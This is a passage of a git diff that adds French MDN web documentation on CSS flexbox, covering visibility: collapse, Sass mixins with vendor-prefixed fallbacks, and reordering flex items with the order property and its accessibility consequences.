+<p>La spécification sur les boîtes flexibles détaille la façon dont un élément flexible est replié lorsqu'on lui applique <code>visibility: collapse</code> (voir la documentation de {{cssxref("visibility")}}). La spécification décrit le comportement standard comme suit :</p>
+
+<blockquote>
+<p>“Indiquer <code>visibility:collapse</code> sur un élément flexible le transforme en un élément flexible replié et produit un effet similaire à l'application de <code>visibility:collapse</code> sur une ligne ou colonne de tableau. L'élément flexible replié est intégralement retiré du rendu mais laisse une toise qui permet de conserver la taille de la ligne flexible selon l'axe  secondaire. Ainsi, si un conteneur flexible ne possède qu'une ligne flexible, replier ou déplier des éléments flexibles pourra modifier la dimension principale du conteneur mais n'aura aucun effet sur l'axe secondaire et empêchera ainsi le reste de la page d'osciller. Le passage à la ligne est réappliqué après le repliage des éléments et il se peut donc que la dimension secondaire d'un conteneur flexible sur plusieurs lignes puisse évoluer.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Éléments repliés</a></p>
+</blockquote>
+
+<p>Ce comportement s'avère utile lorsqu'on souhaite cibler certains éléments flexibles avec JavaScript afin d'afficher/masquer leur contenu. Un des exemples de la spécification illustre un tel scénario.</p>
+
+<p>Dans l'exemple qui suit, on a un conteneur flexible sans passage à la ligne. Le troisième élément possède plus de contenu que les autres mais est paramétré avec <code>visibility: collapse</code> et le conteneur flexible conserve donc une toise pour la hauteur nécessaire à l'affichage de cet élément. Si on retire <code>visibility: collapse</code> ou qu'on modifie la valeur de <code>visible</code>, on pourra voir l'élément disparaître et l'espace être redistribué entre les éléments qui ne sont pas repliés. La hauteur du conteneur flexible ne devrait pas changer.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Il est nécessaire d'utiliser Firefox pour les deux exemples présentés ensuite car Chrome et Safari considèrent <code>collapse</code> comme équivalent à <code>hidden</code>.</p>
+</div>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}</p>
+
+<p>Lorsqu'on manipule des conteneurs flexibles qui sont composés de plusieurs lignes flexibles, il faut être conscient que le passage à la ligne est réappliqué après le repliage des éléments. Ainsi, le navigateur doit réappliquer les mécanismes de passage à la ligne afin de tenir compte de l'espace libéré par l'élément plié dans la direction principale.</p>
+
+<p>Cela signifie qu'un ou plusieurs éléments pourraient être déplacés sur une autre ligne que leur ligne initiale.</p>
+
+<p>Vous pouvez observer ce comportement dans l'exemple qui suit. On peut voir comment la composition des lignes varie en fonction de l'élément qui est replié. Si vous ajoutez plus de contenu au deuxième élément, il changera de ligne s'il est suffisamment grand. La ligne du haut sera alors aussi haute qu'une seule ligne de texte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}</p>
+
+<p>Si cela pose problème dans votre structure, il peut être nécessaire de revoir son organisation et, par exemple, de placer chaque ligne de contenu dans un conteneur flexible séparé afin que le contenu ne puisse pas changer de ligne.</p>
+
+<h3 id="La_différence_entre_visibility_collapse_et_display_none">La différence entre <code>visibility: collapse</code> et <code>display: none</code></h3>
+
+<p>Lorsqu'on utilise <code>display: none</code> sur un élément afin de le cacher, cet élément est complètement retiré de la structure de la page. En pratique, cela signifie que les compteurs ignoreront cet élément et que les opérations telles que les transitions ne lui seront pas appliquées. <code>visibility: hidden</code> permet quant à elle de conserver la boîte dans la structure et peut être pratique si on souhaite que l'élément contribue à la disposition sans que l'utilisateur puisse le voir.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/mixins/index.html b/files/fr/web/css/css_flexible_box_layout/mixins/index.html
new file mode 100644
index 0000000000..652541e0c1
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/mixins/index.html
@@ -0,0 +1,369 @@
+---
+title: Mises en page avancées avec les boîtes flexibles
+slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins
+tags:
+  - CSS
+  - Reference
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Voici un ensemble de <em>mixins</em> pour vous permettre de bidouiller avec les boîtes flexibles grâce au support natif des navigateurs actuels.</p>
+
+<p>Dans ces <em>mixins</em>, on utilisera :</p>
+
+<ul>
+ <li>Des <em>fallbacks</em> avec l'ancienne syntaxe 'box' (Firefox et les anciens WebKit) et les syntaxes préfixées (IE10, les navigateurs WebKit sans ajout de <code>flex</code>)</li>
+ <li>La syntaxe finale standard (Firefox, Safari, Chrome, IE11, Opera)</li>
+</ul>
+
+<p>Ces <em>mixins</em> ont été inspirés par : <a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">https://dev.opera.com/articles/view/advanced-cross-browser-flexbox/</a></p>
+
+<p>Et les articles suivants ont été d'une aide précieuse :</p>
+
+<ul>
+ <li><a href="https://w3.org/tr/css3-flexbox/">https://w3.org/tr/css3-flexbox/</a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx</a></li>
+ <li><a href="https://css-tricks.com/using-flexbox/">https://css-tricks.com/using-flexbox/</a></li>
+ <li><a href="https://dev.opera.com/articles/view/advanced-cross-browser-flexbox/">https://dev.opera.com/articles/view/advanced-cross-browser-flexbox/</a></li>
+ <li><a href="https://css-tricks.com/snippets/css/a-guide-to-flexbox/">Un guide complet sur Flexbox | CSS-Tricks</a></li>
+ <li><a href="https://demos.scotch.io/visual-guide-to-css3-flexbox-flexbox-playground/demos/">Un guide visuel pour les flexbox CSS3 : Flexbox Playground</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Actuellement, les mixins ne sont pas pris en charge nativement par les navigateurs. Il faut utiliser un pré-processeur CSS afin de tirer parti des techniques suivantes. Cependant, les pré-processeurs ne font que générer du code CSS valide et on pourra donc appliquer les techniques précédentes en utilisant du « pur » CSS si on le souhaite.</p>
+</div>
+
+<h3 id="Les_conteneurs_flexibles">Les conteneurs flexibles</h3>
+
+<p>En utilisant la valeur <code>flex</code> pour la propriété {{cssxref("display")}}, on génère une boîte pour un conteneur flexible de bloc. La valeur <code>inline-flex</code> permet quant à elle de générer un conteneur flexible en ligne (<em>inline</em>).</p>
+
+<ul>
+ <li>Valeurs : <code>flex</code> | <code>inline-flex</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-containers">Spécifications</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flexbox {
+  display: -webkit-box;
+  display: -moz-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+
+// Exemple d'utilisation
+%flexbox { @include flexbox; }</pre>
+</div>
+
+<div class="highlight">
+<pre class="brush: css">@mixin inline-flex {
+  display: -webkit-inline-box;
+  display: -moz-inline-box;
+  display: -webkit-inline-flex;
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+}
+
+%inline-flex { @include inline-flex; }</pre>
+</div>
+
+<h3 id="Direction_des_boîtes_flexibles">Direction des boîtes flexibles</h3>
+
+<p>La propriété {{cssxref("flex-direction")}} indique la façon dont les objets flexibles sont organisés dans le conteneur flexible en définissant la direction principale du conteneur. Autrement dit, elle détermine la direction selon laquelle les éléments flexibles sont disposés.</p>
+
+<ul>
+ <li>Valeurs possibles : <code>row</code> (la valeur par défaut)| <code>row-reverse</code> | <code>column</code> | <code>column-reverse</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-direction-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-direction($value: row) {
+  @if $value == row-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: horizontal;
+    -moz-box-direction: reverse;
+    -moz-box-orient: horizontal;
+  } @else if $value == column {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: vertical;
+    -moz-box-direction: normal;
+    -moz-box-orient: vertical;
+  } @else if $value == column-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: vertical;
+    -moz-box-direction: reverse;
+    -moz-box-orient: vertical;
+  } @else {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: horizontal;
+    -moz-box-direction: normal;
+    -moz-box-orient: horizontal;
+  }
+  -webkit-flex-direction: $value;
+  -ms-flex-direction: $value;
+  flex-direction: $value;
+}
+
+// Version plus courte :
+@mixin flex-dir($args...) { @include flex-direction($args...); }</pre>
+</div>
+
+<h3 id="flex-wrap"><code>flex-wrap</code></h3>
+
+<p>La propriété {{cssxref("flex-wrap")}} permet de contrôler si le conteneur flexible s'étend sur une ou sur un plusieurs lignes ainsi que la direction de l'axe secondaire (qui définit la direction dans laquelle les lignes sont « empilées »).</p>
+
+<ul>
+ <li>Valeurs possibles : <code>nowrap</code> (la valeur par défaut)| <code>wrap</code> | <code>wrap-reverse</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-wrap-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-wrap($value: nowrap) {
+  // No Webkit/FF Box fallback.
+  -webkit-flex-wrap: $value;
+  @if $value == nowrap {
+    -ms-flex-wrap: none;
+  } @else {
+    -ms-flex-wrap: $value;
+  }
+  flex-wrap: $value;
+}</pre>
+</div>
+
+<h3 id="flex-flow"><code>flex-flow</code></h3>
+
+<p>La propriété {{cssxref("flex-flow")}} est <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">une propriété raccourcie</a> pour définir <code>flex-direction</code> et <code>flex-wrap</code> qui permettent respectivement de définir l'axe principal et l'axe secondaire.</p>
+
+<ul>
+ <li>Valeur par défaut : <code>row</code> (la valeur par défaut)| <code>nowrap</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-flow-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-flow($values: (row nowrap)) {
+  // No Webkit/FF Box fallback.
+  -webkit-flex-flow: $values;
+  -ms-flex-flow: $values;
+  flex-flow: $values;
+}</pre>
+</div>
+
+<h3 id="order"><code>order</code></h3>
+
+<p>La propriété {{cssxref("order")}}  contrôle l'ordre dans lequel les éléments apparaissent dans le conteneur flexible en les affectant à des groupes ordinaux.</p>
+
+<ul>
+ <li>Valeur : un entier ({{cssxref("&lt;integer&gt;")}} (0 est la valeur par défaut)</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#order-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin order($int: 0) {
+  -webkit-box-ordinal-group: $int + 1;
+  -moz-box-ordinal-group: $int + 1;
+  -webkit-order: $int;
+  -ms-flex-order: $int;
+  order: $int;
+}</pre>
+</div>
+
+<h3 id="flex-grow"><code>flex-grow</code></h3>
+
+<p>La propriété {{cssxref("flex-grow")}} définit le facteur d'expansion flexible. Les nombres négatifs ne sont pas autorisés.</p>
+
+<ul>
+ <li>Valeur : un entier ({{cssxref("&lt;integer&gt;")}} (1 est la valeur par défaut)</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-grow-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-grow($int: 1) {
+  -webkit-box-flex: $int;
+  -moz-box-flex: $int;
+  -webkit-flex-grow: $int;
+  -ms-flex: $int;
+  flex-grow: $int;
+}</pre>
+</div>
+
+<h3 id="flex-shrink"><code>flex-shrink</code></h3>
+
+<p>La propriété {{cssxref("flex-shrink")}} permet de définir le facteur de réduction des éléments flexibles. Les nombres négatifs ne sont pas autorisés.</p>
+
+<ul>
+ <li>Valeur : un entier ({{cssxref("&lt;integer&gt;")}} (1 est la valeur par défaut)</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-shrink-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-shrink($int: 0) {
+  -webkit-flex-shrink: $int;
+  -moz-flex-shrink: $int;
+  -ms-flex: $int;
+  flex-shrink: $int;
+}</pre>
+</div>
+
+<h3 id="flex-basis"><code>flex-basis</code></h3>
+
+<p>La propriété {{cssxref("flex-basis")}} permet de définir la longueur de base à partir de laquelle s'étendre ou se réduire. Les longueurs négatives ne sont pas autorisées.</p>
+
+<ul>
+ <li>Valeurs : voir la page {{cssxref("flex-basis")}}, la valeur par défaut est <code>auto</code>.</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-basis-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex-basis($value: auto) {
+  -webkit-flex-basis: $value;
+  flex-basis: $value;
+}</pre>
+</div>
+
+<h3 id="flex"><code>flex</code></h3>
+
+<p>La <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> {{cssxref("flex")}} permet de définir les composants d'une longueur flexible : le facteur d'expansion (<code>flex-grow</code>), le facteur de réduction (<code>flex-shrink</code>) et la longueur de base (<code>flex-basis</code>). Lorsqu'un élément est un élément flexible, c'est <code>flex</code> qui sera utilisée (plutôt que <code>width</code> ou <code>height</code>) afin de déterminer la taille de l'élément. Si l'élément n'est pas un objet flexible, <code>flex</code> n'aura aucun effet.</p>
+
+<ul>
+ <li>Valeur : voir la page {{cssxref("flex")}} pour les valeurs possibles et la valeur par défaut</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#flex-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin flex($fg: 1, $fs: 0, $fb: auto) {
+
+  // Définir une variable pour l'utiliser
+  // avec les propriétés box-flex
+  $fg-boxflex: $fg;
+
+  // Box-Flex ne prend qu'une valeur, on prend donc
+  // la première valeur de la liste et on la renvoie.
+  @if type-of($fg) == 'list' {
+    $fg-boxflex: nth($fg, 1);
+  }
+
+  -webkit-box: $fg-boxflex;
+  -moz-box: $fg-boxflex;
+  -webkit-flex: $fg $fs $fb;
+  -ms-flex: $fg $fs $fb;
+  flex: $fg $fs $fb;
+}</pre>
+</div>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>La propriété {{cssxref("justify-content")}} permet d'aligner les éléments flexibles le long de l'axe principal pour la ligne en cours dans le conteneur flexible. Cet alignement s'effectue après que les longueurs flexibles et les marges automatiques aient été résolues. Généralement, cela permet de distribuer l'espace restant entre les éléments d'une ligne qui ne sont pas flexibles ou qui ont atteint leur taille maximale. Cela contrôle également le comportement des éléments lorsqu'ils dépassent de la ligne.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les valeurs de la forme <code>space-*</code> ne sont pas prises en charge avec les anciennes syntaxes.</p>
+</div>
+
+<ul>
+ <li>Valeurs : <code>flex-start</code> (la valeur par défaut)| <code>flex-end</code> | <code>center</code> | <code>space-between</code> | <code>space-around</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#justify-content-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin justify-content($value: flex-start) {
+  @if $value == flex-start {
+    -webkit-box-pack: start;
+    -moz-box-pack: start;
+    -ms-flex-pack: start;
+  } @else if $value == flex-end {
+    -webkit-box-pack: end;
+    -moz-box-pack: end;
+    -ms-flex-pack: end;
+  } @else if $value == space-between {
+    -webkit-box-pack: justify;
+    -moz-box-pack: justify;
+    -ms-flex-pack: justify;
+  } @else if $value == space-around {
+    -ms-flex-pack: distribute;
+  } @else {
+    -webkit-box-pack: $value;
+    -moz-box-pack: $value;
+    -ms-flex-pack: $value;
+  }
+  -webkit-justify-content: $value;
+  justify-content: $value;
+}
+  // Version plus courte :
+  @mixin flex-just($args...) { @include justify-content($args...); }</pre>
+</div>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>Les objets flexibles peuvent être alignés le long de l'axe secondaire (comme pour <code>justify-content</code> mais dans l'axe perpendiculaire). {{cssxref("align-items")}} définit l'alignement par défaut de tous les objets du conteneur flexible. <code>align-self</code> permet aux objets flexibles de surcharger cette valeur (pour les objets anonymes, <code>align-self</code> correspondra toujours à <code>align-items</code>).</p>
+
+<ul>
+ <li>Valeurs : <code>flex-start</code> | <code>flex-end</code> | <code>center</code> | <code>baseline</code> | <code>stretch</code> (la valeur par défaut)</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#align-items-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin align-items($value: stretch) {
+  @if $value == flex-start {
+    -webkit-box-align: start;
+    -moz-box-align: start;
+    -ms-flex-align: start;
+  } @else if $value == flex-end {
+    -webkit-box-align: end;
+    -moz-box-align: end;
+    -ms-flex-align: end;
+  } @else {
+    -webkit-box-align: $value;
+    -moz-box-align: $value;
+    -ms-flex-align: $value;
+  }
+  -webkit-align-items: $value;
+  align-items: $value;
+}</pre>
+</div>
+
+<h3 id="align-self"><code>align-self</code></h3>
+
+<ul>
+ <li>Valeurs : <code>auto</code> (la valeur par défaut)| <code>flex-start</code> | <code>flex-end</code> | <code>center</code> | <code>baseline</code> | <code>stretch</code></li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#align-items-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin align-self($value: auto) {
+  // No Webkit Box Fallback.
+  -webkit-align-self: $value;
+  @if $value == flex-start {
+    -ms-flex-item-align: start;
+  } @else if $value == flex-end {
+    -ms-flex-item-align: end;
+  } @else {
+    -ms-flex-item-align: $value;
+  }
+  align-self: $value;
+}</pre>
+</div>
+
+<h3 id="align-content"><code>align-content</code></h3>
+
+<p>La propriété {{cssxref("align-content")}} permet d'aligner les lignes créées dans le conteneur flexible lorsqu'il reste de l'espace le long de l'axe secondaire. Cette propriété n'a aucun effet lorsqu'il n'y a qu'une seule ligne.</p>
+
+<ul>
+ <li>Valeurs : <code>flex-start</code> | <code>flex-end</code> | <code>center</code> | <code>space-between</code> | <code>space-around</code> | <code>stretch</code> (la valeur par défaut)</li>
+ <li><a href="https://drafts.csswg.org/css-flexbox/#align-content-property">Spécification</a></li>
+</ul>
+
+<div class="highlight">
+<pre class="brush: css">@mixin align-content($value: stretch) {
+  // No Webkit Box Fallback.
+  -webkit-align-content: $value;
+  @if $value == flex-start {
+    -ms-flex-line-pack: start;
+  } @else if $value == flex-end {
+    -ms-flex-line-pack: end;
+  } @else {
+    -ms-flex-line-pack: $value;
+  }
+  align-content: $value;
+}</pre>
+</div>
diff --git a/files/fr/web/css/css_flexible_box_layout/ordonner_éléments_flexibles/index.html b/files/fr/web/css/css_flexible_box_layout/ordonner_éléments_flexibles/index.html
new file mode 100644
index 0000000000..acd32e0de0
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/ordonner_éléments_flexibles/index.html
@@ -0,0 +1,139 @@
+---
+title: Ordonner les éléments flexibles
+slug: Web/CSS/CSS_Flexible_Box_Layout/Ordonner_éléments_flexibles
+tags:
+  - Accessibilité
+  - Boîtes flexibles
+  - CSS
+  - Guide
+  - Intermediate
+  - a11y
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Les nouvelles méthodes de disposition telles que les boîtes flexibles (<em>flexbox</em>) et la grille CSS (<em>CSS Grid</em>) apportent la possibilité de contrôler l'ordre du contenu. Dans cet article, nous verrons comment changer l'ordre visuel du contenu grâce aux boîtes flexibles. Nous examinerons également les conséquences de cette réorganisation du point de vue de l'accessibilité.</p>
+
+<h2 id="Inverser_l'affichage_des_éléments">Inverser l'affichage des éléments</h2>
+
+<p>La propriété {{cssxref("flex-direction")}} peut être utilisée avec quatre valeurs :</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>column</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p>Les deux premières valeurs permettent de conserver l'ordre des éléments tels qu'ils apparaissent dans le document source et de les afficher les uns à la suite des autres à partir de la ligne du début.</p>
+
+<p><img alt="Les objets sont affichés sur une ligne horizontale qui commence à gauche." src="https://mdn.mozillademos.org/files/15649/Basics1.png" style="display: flex; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p><img alt="Les objets sont affichés sur une colonne qui commence en haut." src="https://mdn.mozillademos.org/files/15650/align10.png" style="display: flex; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>Les deux valeurs suivantes inversent l'ordre des éléments en échangeant les lignes de début et de fin.</p>
+
+<p><img alt="Les éléments sont affichés dans l'ordre inverse et commencent à droite." src="https://mdn.mozillademos.org/files/15651/align9.png" style="display: flex; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Les éléments sont affichés en colonne et dans l'ordre inverse, ils commencent par le bas." src="https://mdn.mozillademos.org/files/15652/align11.png" style="display: flex; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>Rappelons ici que les lignes de début et de fin sont liées aux modes d'écritures. Les exemples en lignes ci-avant illustrent comment <code>row</code> et <code>row-reverse</code> fonctionnent dans une langue qui s'écrit de gauche à droite (le français par exemple). Si on travaille avec une langue écrite de droite à gauche (l'arabe par exemple), <code>row</code> correspondrait au côté droit et  <code>row-reverse</code> au côté gauche.</p>
+
+<p><img alt="Des conteneurs flexibles avec des lettres arabes illustrant comment le contenu commence à droite normalement et commence à gauche lorsqu'on utilise row-reverse." src="https://mdn.mozillademos.org/files/15647/order-rtl.png" style="display: flex; height: 302px; margin: 0px auto; width: 528px;"></p>
+
+<p>Cette méthode peut donc sembler efficace pour afficher des éléments dans un ordre inversé. Toutefois, il faut garder à l'esprit que seul l'<em>affichage</em> est inversé. Sur ce sujet, la spécification explique :</p>
+
+<blockquote>
+<p>“Note : les possibilités de réorganisation de la disposition flexible modifient uniquement et intentionnellement le rendu visuel. L'ordre de lecture et l'ordre de navigation restent basés sur l'ordre des éléments dans le document source. Cela permet aux auteurs de manipuler la présentation visuelle toute en conservant intact l'ordre de la source pour les agents utilisateurs qui n'utilisent pas CSS et pour les modèles de navigation linéaires comme la navigation vocale ou séquentielle.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flow-order">Ordre et Orientation</a></p>
+</blockquote>
+
+<p>Si les éléments présentés étaient des liens ou d'autres éléments sur lequel un utilisateur pourrait naviguer grâce aux tabulations, l'ordre de la navigation au clavier serait celui des éléments dans le document source et ne correspondrait alors pas à l'ordre visuel.</p>
+
+<p>Si vous utilisez une valeur qui inverse cet affichage ou une méthode qui réordonne vos éléments, demandez-vous s'il ne faut pas modifier l'ordre logique des éléments dans le document source. Par la suite, la spécification émet un avertissement : ces valeurs de réorganisation ne doivent pas être utilisées comme palliatifs à un problème dans l'ordre du document source :</p>
+
+<blockquote>
+<p>“Les auteurs ne doivent pas utiliser <code>order</code> ou les valeurs <em>-reverse</em> de <code>flex-flow</code>/<code>flex-direction</code> comme remplacement d'un ordre correct dans le document source car cela peut nuire à l'accessibilité du document.<em>” </em></p>
+</blockquote>
+
+<div class="note">
+<p><strong>Note </strong>: Pendant plusieurs années, Firefox possédait un bug avec lequel il essayait de suivre l'ordre visuel plutôt que l'ordre de la source, à la différence des autres navigateurs. Ce bug a été corrigé. Il faut toujours considérer l'ordre des éléments dans le document source comme étant l'ordre logique, tous les agents utilisateurs modernes respectent la spécification à cet égard.</p>
+</div>
+
+<p>Dans l'exemple qui suit, nous avons ajouté une mise en forme sur le focus afin que vous puissiez voir quel lien est actif lorsque vous naviguez au clavier. Si vous modifier la valeur de <code>flex-direction</code>, vous pouvez voir que la navigation au clavier continue de suivre l'ordre dans lequel les éléments sont écrits dans le document source.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}</p>
+
+<p>De la même façon, changer la valeur de <code>flex-direction</code> ne modifie pas l'ordre avec lequel on navigue parmi les éléments. Cela ne modifie pas non plus l'ordre dans lequel les éléments sont rendus à l'écran. Il s'agit uniquement d'une inversion visuelle.</p>
+
+<h2 id="La_propriété_order">La propriété <code>order</code></h2>
+
+<p>En plus de cette inversion, il est également possible de cibler des éléments en particulier et de modifier leur ordre visuel grâce à la propriété {{cssxref("order")}}.</p>
+
+<p>La propriété <code>order</code> permet de disposer les éléments au sein de <em>groupes ordinaux</em>. Cela signifie que chaque élément reçoit un entier qui représente le numéro d'un groupe. Les éléments sont ensuite placés visuellement dans l'ordre qui correspond à cet entier, les éléments avec les numéros les plus petits étant placés en premiers. Si plusieurs éléments possèdent le même coefficient, les éléments de ce groupe sont alors ordonnés en suivant l'ordre du document source entre eux.</p>
+
+<p>Dans l'exemple qui suit, on dispose de 5 objets flexibles et on affecte les valeurs <code>order</code> comme suit :</p>
+
+<ul>
+ <li>Premier élément selon la source : <code>order: 2</code></li>
+ <li>Deuxième élément selon la source : <code>order: 3</code></li>
+ <li>Troisième élément selon la source : <code>order: 1</code></li>
+ <li>Quatrième élément selon la source :<code>order: 3</code></li>
+ <li>Cinquième élément selon la source :<code>order: 1</code></li>
+</ul>
+
+<p>Les éléments seront affichés sur la page dans l'ordre suivant :</p>
+
+<ul>
+ <li>Troisième élément selon la source : <code>order: 1</code></li>
+ <li>Cinquième élément selon la source : <code>order: 1</code></li>
+ <li>Premier élément selon la source : <code>order: 2</code></li>
+ <li>Deuxième élément selon la source : <code>order: 3</code></li>
+ <li>Quatrième élément selon la source : <code>order: 3</code></li>
+</ul>
+
+<p><img alt="Les éléments contiennent un nombre qui illustre leur ordre selon la source et on peut voir que leur ordre visuel a été réarrangé." src="https://mdn.mozillademos.org/files/15653/order-property.png" style="display: flex; height: 100px; margin: 0px auto; width: 634px;"></p>
+
+<p>Vous pouvez manipuler les valeurs dans l'exemple qui suit afin de voir comment l'ordre est modifié. Essayez également de modifier la valeur de <code>flex-direction</code> pour utiliser <code>row-reverse</code> — la ligne de début est inversée et l'ordre des éléments commence à partir du côté opposé.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}</p>
+
+<p>Par défaut, la valeur de la propriété <code>order</code> est <code>0</code> pour les éléments flexibles. Aussi, si on utilise un coefficient supérieur à 0, les éléments concernés seront affichés après les éléments pour lesquels aucune valeur explicite n'a été fournie pour <code>order</code>.</p>
+
+<p>On peut également utiliser des valeurs négatives. Cela est plutôt pratique si on souhaite afficher un élément en premier sans avoir à indiquer de valeurs pour les autres éléments : il suffira d'affecter l'ordre <code>-1</code> au premier élément. Cette valeur étant inférieure à 0, l'élément sera toujours affiché en premier.</p>
+
+<p>Dans l'exemple qui suit, les éléments sont disposés avec les boîtes flexibles. En modifiant l'élément qui possède la classe <code>active</code> dans le code HTML, vous pouvez modifier l'élément qui apparaît en premier et qui prend alors toute la largeur en haut, les autres éléments étant affichés en dessous.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}</p>
+
+<p>Les éléments sont affichés dans ce que la spécification intitule <em>un ordre modifié à partir de l'ordre du document (en anglais "order-modified document order"</em>). La valeur de la propriété <code>order</code> est prise en compte avant que les éléments soient affichés.</p>
+
+<p>L'ordre modifie également l'ordre de rendu des éléments à l'écran. Les éléments pour lesquels <code>order</code> est plus petit seront affichés en premier et ceux avec un coefficient d'ordre plus élevé seront affichés ensuite.</p>
+
+<h2 id="La_propriété_order_et_l'accessibilité">La propriété <code>order</code> et l'accessibilité</h2>
+
+<p>La propriété <code>order</code> aura exactement les mêmes conséquences qu'une modification de <code>flex-direction</code> sur l'accessibilité. Utiliser <code>order</code> modifie l'ordre dans lequel les éléments sont affichés à l'écran et l'ordre dans lequel ils sont présentés visuellement. Cela ne modifie pas l'ordre de navigation. Aussi, si un utilisateur navigue grâce aux tabulations entre les éléments, cette disposition peut prêter à confusion.</p>
+
+<p>En utilisant la tabulation pour naviguer au sein des exemples de cette page, vous pouvez voir comment l'ordre peut créer une expérience pour le moins étrange de navigation si on n'utilise pas de pointeur (souris, stylet, interface tactile). Pour approfondir cette notion et les problèmes qu'un déphasage entre l'ordre visuel et logique peut causer, vous pouvez consulter les ressources suivantes :</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Une déconnexion entre les boîtes flexibles et la navigation au clavier (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2015/10/html-source-order-vs-css-display-order.html">L'ordre de la source HTML vs l'ordre d'affichage CSS (en anglais)</a></li>
+ <li><a href="https://alastairc.ac/2017/06/the-responsive-order-conflict">Le conflit entre l'ordre <em>responsive</em> et le focus clavier (en anglais)</a></li>
+</ul>
+
+<h2 id="Cas_d'utilisation_pour_order">Cas d'utilisation pour <code>order</code></h2>
+
+<p>Il existe certains cas où l'ordre logique (correspondant à l'ordre de lecture) est distinct de l'ordre visuel. Dans ces cas, utiliser la propriété <code>order</code> à bon escient permet d'implémenter certains motifs récurrents.</p>
+
+<p>Prenons comme exemple une disposition avec des cartes dont chacune contient une nouvelle. Le titre de la nouvelle est l'élément qui doit être mis en avant et celui sur lequel l'utilisateur doit arriver s'il navigue au clavier à la recherche d'un contenu à lire. Chaque carte possède également une date de façon à obtenir un <em>design</em> comme celui-ci.</p>
+
+<p><img alt="Un composant avec une date, un titre puis un contenu." src="https://mdn.mozillademos.org/files/15648/order-card.png" style="height: 400px; width: 618px;"></p>
+
+<p>Visuellement, la date apparaît au-dessus du titre. Toutefois, si la carte était lue par un lecteur d'écran, on préfèrerait que le titre soit annoncé en premier puis que soit ensuite lue la date de publication. Pour ce faire, on peut utiliser la propriété <code>order</code>.</p>
+
+<p>Dans cet exemple, la carte sera le conteneur flexible et <code>flex-direction</code> aura la valeur <code>column</code>. Pour la date, on affectera un ordre avec la propriété <code>order</code> qui vaut <code>-1</code> qui permettra de la placer au-dessus du titre.</p>
+
